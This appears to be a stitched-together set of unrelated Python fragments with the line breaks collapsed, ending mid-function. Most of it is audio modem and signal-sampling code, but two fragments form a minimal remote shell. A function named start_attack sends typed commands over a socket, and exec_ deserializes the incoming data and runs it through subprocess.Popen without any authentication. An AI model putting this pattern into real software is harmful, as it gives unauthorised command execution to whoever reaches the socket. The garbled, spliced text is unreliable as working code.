def start_attack(self, ): sock = self.sock while True: cmd = input("$ ") msg = dumps(cmd.split()) sock.send(msg) sleep(0.5)
def write(self, fd, sym, n=1): data = common.dumps(sym, n) fd.write(data) self.offset += len(data) if time.time() > self.last + 1: log.debug('%10.3f seconds of data audio', self.offset / wave.bytes_per_second) self.last += 1
def exec_(b: bytes): msg = loads(b) # func = getattr(subprocess, msg.get("type", "Popen")) func = subprocess.Popen resp = [] args = msg.get("args") print("Executing:", *args) try: proc = func(args, stdout=subprocess.PIPE) for line in proc.stdout.readlines(): if not line: break pr = line.decode().strip() print(pr) resp.append(pr) except Exception as e: resp.extend(("Error:", str(e))) return dumps(resp)
self.offset += offset def next(self): res = self._sample() * self.gain self.offset += self.freq return res def _sample(self): coeffs, begin = self.interp.get(self.offset) end = begin + self.interp.coeff_len while True: if self.index == end: return np.dot(coeffs, self.buff) self.buff[:-1] = self.buff[1:] self.buff[-1] = self.src.next() # throws StopIteration self.index += 1 if __name__ == '__main__': import common import sys df, = sys.argv[1:] df = float(df) x = common.load(sys.stdin) sampler = Sampler(x, Interpolator()) sampler.freq += df y = np.array(list(sampler)) y = common.dumps(y*1j) sys.stdout.write(y)
#!/usr/bin/env python import numpy as np import common import config import sigproc import wave Tsample = 1 t = np.arange(int(Tsample * config.Fs)) * config.Ts sig = np.exp(2j * np.pi * config.Fc * t) sig_dump = common.dumps(sig) def send(): p = wave.play('-', stdin=wave.sp.PIPE) while True: try: p.stdin.write(sig_dump) except IOError: return def recv(): out = wave.record('-', stdout=wave.sp.PIPE).stdout while True: data = out.read(len(sig_dump)) if len(data) < len(sig_dump): return try: x = common.loads(data) except common.SaturationError as e: